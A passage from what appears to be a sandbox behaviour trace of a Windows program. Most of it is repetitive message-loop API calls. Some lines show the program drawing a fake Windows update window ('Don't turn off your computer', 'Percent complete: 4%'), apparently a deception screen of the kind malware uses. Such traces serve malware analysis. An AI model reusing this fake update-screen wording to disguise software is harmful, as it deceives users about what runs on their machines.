wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.855] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.855] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.855] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.856] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.907] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.907] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.907] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.907] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.907] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.907] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.907] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.908] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.950] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.950] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.950] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.951] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.951] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.952] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.952] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.953] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.995] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.995] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.995] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.995] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.995] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.995] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.995] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.996] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.042] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0066.042] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.042] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.042] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.042] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0066.042] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.042] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.043] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0066.090] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0066.090] TranslateMessage (lpMsg=0x18e548) returned 0 [0066.090] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0066.090] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.083] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.083] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.083] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.450] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.477] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.477] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.477] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.477] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.477] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.477] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.477] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.478] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.524] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.524] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.524] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.524] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.524] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.524] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.524] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.525] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.612] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.706] TranslateMessage (lpMsg=0x18e548) returned 0 [0067.715] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0067.776] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0067.809] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0067.972] TranslateMessage (lpMsg=0x18e548) returned 0 [0068.223] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.373] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.375] TranslateAcceleratorW (hWnd=0xb01b2, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.375] TranslateMessage (lpMsg=0x18e548) returned 1 [0069.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.375] NtdllDefWindowProc_W () returned 0x0 [0069.375] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.375] TranslateAcceleratorW (hWnd=0xb01b2, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.375] TranslateMessage (lpMsg=0x18e548) returned 1 [0069.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.375] NtdllDefWindowProc_W () returned 0x0 [0069.375] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.375] TranslateAcceleratorW (hWnd=0xb01b2, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.375] TranslateMessage (lpMsg=0x18e548) returned 1 [0069.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.375] NtdllDefWindowProc_W () returned 0x0 [0069.375] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.375] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.375] TranslateMessage (lpMsg=0x18e548) returned 0 [0069.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.375] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.375] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.375] TranslateMessage (lpMsg=0x18e548) returned 0 [0069.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.377] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.679] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.679] TranslateMessage (lpMsg=0x18e548) returned 0 [0069.679] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0069.679] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0069.680] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0069.680] TranslateMessage (lpMsg=0x18e548) returned 0 [0069.680] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.042] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.042] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.042] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.042] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.042] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.042] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.042] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.042] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.043] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.177] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.177] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.177] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.178] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.178] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.178] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.178] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.179] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.184] NtdllDefWindowProc_W () returned 0x1 [0070.189] NtdllDefWindowProc_W () returned 0x0 [0070.189] NtdllDefWindowProc_W () returned 0x0 [0070.189] NtdllDefWindowProc_W () returned 0x0 [0070.189] NtdllDefWindowProc_W () returned 0x0 [0070.190] NtdllDefWindowProc_W () returned 0x0 [0070.190] TranslateAcceleratorW (hWnd=0xb01b2, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.190] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.190] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.190] BeginPaint (in: hWnd=0xb01b2, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x11010274 [0070.190] NtdllDefWindowProc_W () returned 0x0 [0070.191] NtdllDefWindowProc_W () returned 0x1 [0070.191] EndPaint (hWnd=0xb01b2, lpPaint=0x18e2e0) returned 1 [0070.191] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.191] TranslateAcceleratorW (hWnd=0x401c8, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.191] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.191] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.191] BeginPaint (in: hWnd=0x401c8, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x11010274 [0070.192] CreateSolidBrush (color=0x5b3ef) returned 0x3b10024a [0070.192] FillRect (hDC=0x11010274, lprc=0x18d9b8, hbr=0x3b10024a) returned 1 [0070.192] DeleteObject (ho=0x3b10024a) returned 1 [0070.192] DrawIcon (hDC=0x11010274, X=7, Y=7, hIcon=0x1b0183) returned 1 [0070.192] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x2c0a086b [0070.192] SelectObject (hdc=0x11010274, h=0x2c0a086b) returned 0x18a002e [0070.192] SetBkMode (hdc=0x11010274, mode=1) returned 2 [0070.192] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0070.192] TextOutW (hdc=0x11010274, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0070.192] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x2c0a086b [0070.193] CreateSolidBrush (color=0xffffff) returned 0x3c10024a [0070.193] FillRect (hDC=0x11010274, lprc=0x18d9a8, hbr=0x3c10024a) returned 1 [0070.193] DeleteObject (ho=0x3c10024a) returned 1 [0070.193] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x100a087a [0070.193] SelectObject (hdc=0x11010274, h=0x100a087a) returned 0x18a002e [0070.193] SetBkMode (hdc=0x11010274, mode=1) returned 1 [0070.193] lstrlenW (lpString="Getting your update ready.") returned 26 [0070.193] TextOutW (hdc=0x11010274, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0070.193] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0070.193] TextOutW (hdc=0x11010274, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0070.193] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0070.193] TextOutW (hdc=0x11010274, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0070.193] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x100a087a [0070.193] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x130a024c [0070.194] SelectObject (hdc=0x11010274, h=0x130a024c) returned 0x18a002e [0070.194] SetBkMode (hdc=0x11010274, mode=1) returned 1 [0070.194] SetTextAlign (hdc=0x11010274, align=0x6) returned 0x0 [0070.194] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0070.194] lstrlenW (lpString="Percent complete: 4%") returned 20 [0070.194] TextOutW (hdc=0x11010274, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0070.194] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x130a024c [0070.194] EndPaint (hWnd=0x401c8, lpPaint=0x18d9c8) returned 1 [0070.194] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.194] TranslateAcceleratorW (hWnd=0x70112, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.194] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.194] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.199] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.199] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.199] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.199] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.200] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.200] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.200] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.200] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.200] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.200] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.200] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.200] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.201] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.238] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.238] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.238] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.238] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.239] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.239] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.239] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.254] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.289] TranslateAcceleratorW (hWnd=0x40120, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.289] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.289] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.289] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.289] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.289] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.289] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.289] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.289] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.289] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.289] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.291] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.333] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.333] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.333] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.333] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.333] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.333] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.333] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.334] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.394] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.394] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.394] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.394] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.460] TranslateAcceleratorW (hWnd=0xb01b2, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.460] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.460] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.460] BeginPaint (in: hWnd=0xb01b2, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x16010862 [0070.460] NtdllDefWindowProc_W () returned 0x0 [0070.462] NtdllDefWindowProc_W () returned 0x1 [0070.462] EndPaint (hWnd=0xb01b2, lpPaint=0x18e2e0) returned 1 [0070.462] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.462] TranslateAcceleratorW (hWnd=0x401c8, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.462] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.462] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.462] BeginPaint (in: hWnd=0x401c8, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x11010274 [0070.462] CreateSolidBrush (color=0x5b3ef) returned 0x3d10024a [0070.462] FillRect (hDC=0x11010274, lprc=0x18d9b8, hbr=0x3d10024a) returned 1 [0070.462] DeleteObject (ho=0x3d10024a) returned 1 [0070.463] DrawIcon (hDC=0x11010274, X=7, Y=7, hIcon=0x1b0183) returned 1 [0070.463] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x470a085e [0070.463] SelectObject (hdc=0x11010274, h=0x470a085e) returned 0x18a002e [0070.463] SetBkMode (hdc=0x11010274, mode=1) returned 2 [0070.463] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0070.463] TextOutW (hdc=0x11010274, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0070.463] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x470a085e [0070.463] CreateSolidBrush (color=0xffffff) returned 0x3e10024a [0070.463] FillRect (hDC=0x11010274, lprc=0x18d9a8, hbr=0x3e10024a) returned 1 [0070.463] DeleteObject (ho=0x3e10024a) returned 1 [0070.463] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1d0a086f [0070.463] SelectObject (hdc=0x11010274, h=0x1d0a086f) returned 0x18a002e [0070.463] SetBkMode (hdc=0x11010274, mode=1) returned 1 [0070.463] lstrlenW (lpString="Getting your update ready.") returned 26 [0070.463] TextOutW (hdc=0x11010274, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0070.463] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0070.463] TextOutW (hdc=0x11010274, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0070.463] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0070.463] TextOutW (hdc=0x11010274, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0070.463] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x1d0a086f [0070.464] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x140a0256 [0070.464] SelectObject (hdc=0x11010274, h=0x140a0256) returned 0x18a002e [0070.464] SetBkMode (hdc=0x11010274, mode=1) returned 1 [0070.464] SetTextAlign (hdc=0x11010274, align=0x6) returned 0x0 [0070.464] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0070.464] lstrlenW (lpString="Percent complete: 4%") returned 20 [0070.464] TextOutW (hdc=0x11010274, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0070.464] SelectObject (hdc=0x11010274, h=0x18a002e) returned 0x140a0256 [0070.464] EndPaint (hWnd=0x401c8, lpPaint=0x18d9c8) returned 1 [0070.464] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.464] TranslateAcceleratorW (hWnd=0x70112, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.464] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.464] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.473] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.473] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.473] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.473] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.474] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0070.506] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0070.506] TranslateMessage (lpMsg=0x18e548) returned 0 [0070.506] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0070.506] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.370] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.370] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.370] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.371] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.434] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.434] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.434] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.434] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.434] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.434] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.434] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.436] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.456] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.456] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.456] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.456] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.456] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.456] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.456] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.457] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.502] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.502] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.503] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.503] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 